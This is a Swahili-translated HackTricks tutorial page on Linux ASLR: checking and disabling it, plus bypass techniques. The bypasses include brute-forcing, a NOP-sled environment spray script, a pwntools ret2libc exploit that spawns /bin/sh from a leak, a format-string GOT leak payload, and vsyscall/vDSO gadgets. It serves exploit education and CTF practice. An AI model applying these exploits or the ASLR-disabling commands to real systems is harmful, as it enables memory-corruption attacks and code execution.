ASLR

Reading time: 10 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Address Space Layout Randomization (ASLR) ni mbinu ya usalama inayotumika katika mifumo ya uendeshaji ili kubadilisha anwani za kumbukumbu zinazotumiwa na michakato ya mfumo na programu. Kwa kufanya hivyo, inafanya kuwa vigumu sana kwa mshambuliaji kutabiri eneo la michakato na data maalum, kama vile stack, heap, na maktaba, hivyo kupunguza aina fulani za mashambulizi, hasa buffer overflows.

Checking ASLR Status

Ili kuangalia hali ya ASLR kwenye mfumo wa Linux, unaweza kusoma thamani kutoka kwenye faili ya /proc/sys/kernel/randomize_va_space. Thamani iliyohifadhiwa katika faili hii inaamua aina ya ASLR inayotumika:

  • 0: Hakuna kubadilisha. Kila kitu ni cha kudumu.
  • 1: Kubadilisha kwa njia ya kihafidhina. Maktaba zinazoshirikiwa, stack, mmap(), ukurasa wa VDSO zinabadilishwa.
  • 2: Kubadilisha kwa njia kamili. Mbali na vipengele vinavyobadilishwa kwa njia ya kihafidhina, kumbukumbu inayosimamiwa kupitia brk() inabadilishwa.

Unaweza kuangalia hali ya ASLR kwa amri ifuatayo:

bash
cat /proc/sys/kernel/randomize_va_space

Kuzima ASLR

Ili kuzima ASLR, unapaswa kuweka thamani ya /proc/sys/kernel/randomize_va_space kuwa 0. Kuzima ASLR kwa ujumla hakupendekezwi nje ya hali za majaribio au urekebishaji. Hapa kuna jinsi unavyoweza kuzikatiza:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Unaweza pia kuzima ASLR kwa utekelezaji kwa:

bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Kuwezesha ASLR

Ili kuezesha ASLR, unaweza kuandika thamani ya 2 kwenye faili ya /proc/sys/kernel/randomize_va_space. Hii kwa kawaida inahitaji ruhusa za mzizi. Kuwezesha randomization kamili kunaweza kufanywa kwa amri ifuatayo:

bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Uendelevu Wakati wa Kuanzisha Upya

Mabadiliko yaliyofanywa na amri za echo ni ya muda na yatarejelewa wakati wa kuanzisha upya. Ili kufanya mabadiliko kuwa ya kudumu, unahitaji kuhariri faili ya /etc/sysctl.conf na kuongeza au kubadilisha mstari ufuatao:

tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Baada ya kuhariri /etc/sysctl.conf, tumia mabadiliko kwa:

bash
sudo sysctl -p

Hii itahakikisha kwamba mipangilio yako ya ASLR inabaki wakati wa kuanzisha upya.

Mikakati ya Kuepuka

32bit brute-forcing

PaX inagawanya nafasi ya anwani ya mchakato katika makundi 3:

  • Msimbo na data (iliyowekwa na isiyowekwa): .text, .data, na .bss —> 16 bits za entropy katika mabadiliko ya delta_exec. Mabadiliko haya yanaanzishwa kwa bahati nasibu na kila mchakato na kuongezwa kwa anwani za awali.
  • Kumbukumbu iliyotolewa na mmap() na maktaba zinazoshirikiwa —> 16 bits, inayoitwa delta_mmap.
  • Stack —> 24 bits, inayoitwa delta_stack. Hata hivyo, inatumia kwa ufanisi 11 bits (kutoka byte ya 10 hadi ya 20 ikiwa ni pamoja), imepangwa kwa 16 bytes —> Hii inasababisha 524,288 anwani halisi za stack zinazowezekana.

Data ya awali ni kwa mifumo ya 32-bit na entropy ya mwisho iliyopunguzwa inafanya iwezekane kuepuka ASLR kwa kujaribu kutekeleza mara kwa mara hadi exploit ikamilike kwa mafanikio.

Mawazo ya Brute-force:

  • Ikiwa una overflow kubwa ya kutosha kuhost sled kubwa ya NOP kabla ya shellcode, unaweza tu kujaribu anwani katika stack hadi mtiririko ujumpie sehemu fulani ya sled ya NOP.
  • Chaguo lingine kwa hili ikiwa overflow si kubwa sana na exploit inaweza kuendeshwa kwa ndani ni kuweza kuongeza sled ya NOP na shellcode katika variable ya mazingira.
  • Ikiwa exploit ni ya ndani, unaweza kujaribu brute-force anwani ya msingi ya libc (inayofaa kwa mifumo ya 32bit):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Ikiwa unashambulia seva ya mbali, unaweza kujaribu kuvunjavunja anwani ya kazi ya libc usleep, ukipitia kama hoja 10 (kwa mfano). Ikiwa katika wakati fulani seva inachukua sekunde 10 zaidi kujibu, umepata anwani ya kazi hii.

tip

Katika mifumo ya 64bit, entropy ni kubwa zaidi na hii haipaswi kuwa inawezekana.

Kuvunjavunja stack ya 64 bits

Inawezekana kuchukua sehemu kubwa ya stack na mabadiliko ya mazingira na kisha kujaribu kutumia binary mara mia/elfu za ndani ili kuifanyia shambulio.
Msimbo ufuatao unaonyesha jinsi inavyowezekana kuchagua tu anwani kwenye stack na kila mara chache mia za utekelezaji anwani hiyo itakuwa na amri ya NOP:

c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Taarifa za Mitaa (/proc/[pid]/stat)

Faili /proc/[pid]/stat la mchakato daima linaweza kusomwa na kila mtu na lina maelezo ya kuvutia kama vile:

  • startcode & endcode: Anwani juu na chini na TEXT ya binary
  • startstack: Anwani ya mwanzo wa stack
  • start_data & end_data: Anwani juu na chini ambapo BSS iko
  • kstkesp & kstkeip: Anwani za sasa za ESP na EIP
  • arg_start & arg_end: Anwani juu na chini ambapo cli arguments ziko.
  • env_start &env_end: Anwani juu na chini ambapo env variables ziko.

Hivyo, ikiwa mshambuliaji yuko kwenye kompyuta moja na binary inayoshambuliwa na binary hii haitarajii overflow kutoka kwa hoja za raw, bali kutoka kwa input tofauti ambayo inaweza kuundwa baada ya kusoma faili hii. Inawezekana kwa mshambuliaji kupata anwani kadhaa kutoka kwa faili hii na kujenga offsets kutoka kwao kwa ajili ya exploit.

tip

Kwa maelezo zaidi kuhusu faili hii angalia https://man7.org/linux/man-pages/man5/proc.5.html ukitafuta /proc/pid/stat

Kuwa na leak

  • Changamoto ni kutoa leak

Ikiwa umepatiwa leak (changamoto rahisi za CTF), unaweza kuhesabu offsets kutoka kwake (ukidhania kwa mfano unajua toleo halisi la libc linalotumika kwenye mfumo unaoshambulia). Mfano huu wa exploit umetolewa kutoka kwa mfano kutoka hapa (angalia ukurasa huo kwa maelezo zaidi):

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Kwa kutumia overflow ya buffer, itakuwa inawezekana kutumia ret2plt kuhamasisha anwani ya kazi kutoka libc. Angalia:

Ret2plt

  • Format Strings Arbitrary Read

Kama ilivyo katika ret2plt, ikiwa una kusoma kwa njia isiyo ya kawaida kupitia udhaifu wa format strings, inawezekana kuhamasisha anwani ya libc function kutoka GOT. Mfano ufuatao ni kutoka hapa:

python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Unaweza kupata maelezo zaidi kuhusu Format Strings arbitrary read katika:

Format Strings

Ret2ret & Ret2pop

Jaribu kupita ASLR kwa kutumia anwani ndani ya stack:

Ret2ret & Reo2pop

vsyscall

Mfumo wa vsyscall unatumika kuboresha utendaji kwa kuruhusu baadhi ya wito wa mfumo kutekelezwa katika nafasi ya mtumiaji, ingawa kimsingi ni sehemu ya kernel. Faida muhimu ya vsyscalls iko katika anwani zao za kudumu, ambazo haziko chini ya ASLR (Address Space Layout Randomization). Hali hii ya kudumu inamaanisha kwamba washambuliaji hawahitaji udhaifu wa kuvuja taarifa ili kubaini anwani zao na kuzitumia katika shambulio.
Hata hivyo, hakuna vifaa vya kuvutia sana vitakavyopatikana hapa (ingawa kwa mfano inawezekana kupata sawa na ret;)

(Mfano na msimbo ufuatao ni kutoka kwa andiko hili)

Kwa mfano, mshambuliaji anaweza kutumia anwani 0xffffffffff600800 ndani ya shambulio. Wakati wa kujaribu kuruka moja kwa moja kwenye amri ya ret inaweza kusababisha kutokuwa na utulivu au kuanguka baada ya kutekeleza vifaa kadhaa, kuruka kwenye mwanzo wa syscall inayotolewa na sehemu ya vsyscall inaweza kuwa na mafanikio. Kwa kuweka kwa makini ROP gadget inayoweza kuongoza utekelezaji kwenye anwani hii ya vsyscall, mshambuliaji anaweza kufikia utekelezaji wa msimbo bila kuhitaji kupita ASLR kwa sehemu hii ya shambulio.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Kumbuka hivyo inaweza kuwa inawezekana kuzidi ASLR kwa kutumia vdso ikiwa kernel imeandikwa na CONFIG_COMPAT_VDSO kwani anwani ya vdso haitakuwa na mabadiliko. Kwa maelezo zaidi angalia:

Ret2vDSO

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks